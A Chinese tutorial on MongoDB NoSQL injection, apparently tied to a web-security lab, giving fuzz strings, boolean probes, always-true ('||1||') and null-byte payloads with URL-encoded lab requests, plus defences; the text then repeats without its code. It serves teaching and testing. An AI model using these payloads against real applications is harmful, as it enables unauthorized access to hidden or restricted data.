服务器端漏洞篇 | NoSql注入专题
字数 1076 2025-08-20 18:18:10

NoSQL注入专题教学文档

1. NoSQL数据库概述

NoSQL数据库是为解决关系型数据库在可扩展性、性能和灵活性上的不足而设计的数据库类型。主要特点:

  • 不使用表和关系存储数据
  • 使用键-值对、文档、列族或图形数据模型
  • 支持灵活的数据模式,无需预定义表结构
  • 在处理大数据量、高并发读写时性能更高

NoSQL数据库类型

  1. 文档存储:使用JSON、BSON或XML格式存储数据

    • 示例:MongoDB、Couchbase
    • 查询方式:API或查询语言
  2. 键值存储:以键值格式存储数据

    • 示例:Redis、Amazon DynamoDB
    • 查询方式:通过唯一键检索值
  3. 宽列存储:将相关数据组织到灵活的列族中

    • 示例:Apache Cassandra、Apache HBase
  4. 图形数据库:使用节点存储数据实体,边存储实体关系

    • 示例:Neo4j、Amazon Neptune

2. NoSQL注入类型

2.1 语法注入

当攻击者能够破坏NoSQL查询语法,注入自己的payload时发生。与SQL注入类似,但因NoSQL数据库使用不同的查询语言和数据结构而有所差异。

2.2 运算符注入

当攻击者可以使用NoSQL查询运算符来操纵查询时发生。

3. MongoDB中的NoSQL语法注入

3.1 探测注入漏洞

测试方法

  1. 提交模糊字符串和特殊字符测试每个输入
  2. 如果应用程序未充分清理或过滤,会触发数据库错误或其他可检测行为

示例模糊字符串

'"`{;$Foo}$Foo \xYZ

URL编码后:

'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00

或:

'\"`{\r;$Foo}\n$Foo \\xYZ\u0000

3.2 确定语法字符

  1. 测试单引号('):

    this.category == '''
    
    • 如果引发异常,说明字符破坏了语法
  2. 验证猜想:

    this.category == '\''
    
    • 如果不报错,确认存在注入可能

3.3 确认条件行为

发送两条请求测试布尔判断:

  1. 真条件:

    ' && 1 && 'x
    

    URL编码:

    '+%26%26+1+%26%26+'x
    
  2. 假条件:

    ' && 0 && 'x
    

    URL编码:

    '+%26%26+0+%26%26+'x
    
  • 如果响应不同,说明注入影响了查询逻辑

3.4 覆盖现有条件

  1. 注入永真条件:

    '||1||'
    

    URL编码:

    '%27%7c%7c%31%7c%7c%27
    

    后端查询:

    this.category == 'fizzy'||'1'=='1'
    
    • 会返回所有结果,包括隐藏商品
  2. 使用空字符取消限制:

    fizzy'%00
    

    后端处理:

    this.category == 'fizzy'\u0000' && this.released == 1
    
    • 空字符使后续条件失效

4. 靶场示例

目标:利用NoSQL注入列出所有商品

步骤

  1. 访问筛选URL:
    /filter?category=Gifts
    
  2. 测试注入:
    /filter?category=Gifts'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
    
    • 观察是否出现错误
  3. 尝试永真条件:
    /filter?category=Gifts'||1||'
    
    或使用空字符:
    /filter?category=Gifts'%00
    

5. 防御措施

  1. 输入验证和过滤
  2. 使用参数化查询
  3. 实施最小权限原则
  4. 对特殊字符进行转义处理
  5. 使用ORM框架提供的安全方法

6. 总结

NoSQL注入与SQL注入原理相似但实现方式不同,主要利用:

  • 语法注入破坏查询结构
  • 运算符注入操纵查询逻辑
  • 通过布尔条件测试和永真条件绕过限制

理解目标数据库的查询语法和特殊字符是成功利用NoSQL注入的关键。

NoSQL注入专题教学文档 1. NoSQL数据库概述 NoSQL数据库是为解决关系型数据库在可扩展性、性能和灵活性上的不足而设计的数据库类型。主要特点: 不使用表和关系存储数据 使用键-值对、文档、列族或图形数据模型 支持灵活的数据模式,无需预定义表结构 在处理大数据量、高并发读写时性能更高 NoSQL数据库类型 文档存储 :使用JSON、BSON或XML格式存储数据 示例:MongoDB、Couchbase 查询方式:API或查询语言 键值存储 :以键值格式存储数据 示例:Redis、Amazon DynamoDB 查询方式:通过唯一键检索值 宽列存储 :将相关数据组织到灵活的列族中 示例:Apache Cassandra、Apache HBase 图形数据库 :使用节点存储数据实体,边存储实体关系 示例:Neo4j、Amazon Neptune 2. NoSQL注入类型 2.1 语法注入 当攻击者能够破坏NoSQL查询语法,注入自己的payload时发生。与SQL注入类似,但因NoSQL数据库使用不同的查询语言和数据结构而有所差异。 2.2 运算符注入 当攻击者可以使用NoSQL查询运算符来操纵查询时发生。 3. MongoDB中的NoSQL语法注入 3.1 探测注入漏洞 测试方法 : 提交模糊字符串和特殊字符测试每个输入 如果应用程序未充分清理或过滤,会触发数据库错误或其他可检测行为 示例模糊字符串 : URL编码后: 或: 3.2 确定语法字符 测试单引号( ' ): 如果引发异常,说明字符破坏了语法 验证猜想: 如果不报错,确认存在注入可能 3.3 确认条件行为 发送两条请求测试布尔判断: 真条件: URL编码: 假条件: URL编码: 如果响应不同,说明注入影响了查询逻辑 3.4 覆盖现有条件 注入永真条件: URL编码: 后端查询: 会返回所有结果,包括隐藏商品 使用空字符取消限制: 后端处理: 空字符使后续条件失效 4. 靶场示例 目标 :利用NoSQL注入列出所有商品 步骤 : 访问筛选URL: 测试注入: 观察是否出现错误 尝试永真条件: 或使用空字符: 5. 防御措施 输入验证和过滤 使用参数化查询 实施最小权限原则 对特殊字符进行转义处理 使用ORM框架提供的安全方法 6. 总结 NoSQL注入与SQL注入原理相似但实现方式不同,主要利用: 语法注入破坏查询结构 运算符注入操纵查询逻辑 通过布尔条件测试和永真条件绕过限制 理解目标数据库的查询语法和特殊字符是成功利用NoSQL注入的关键。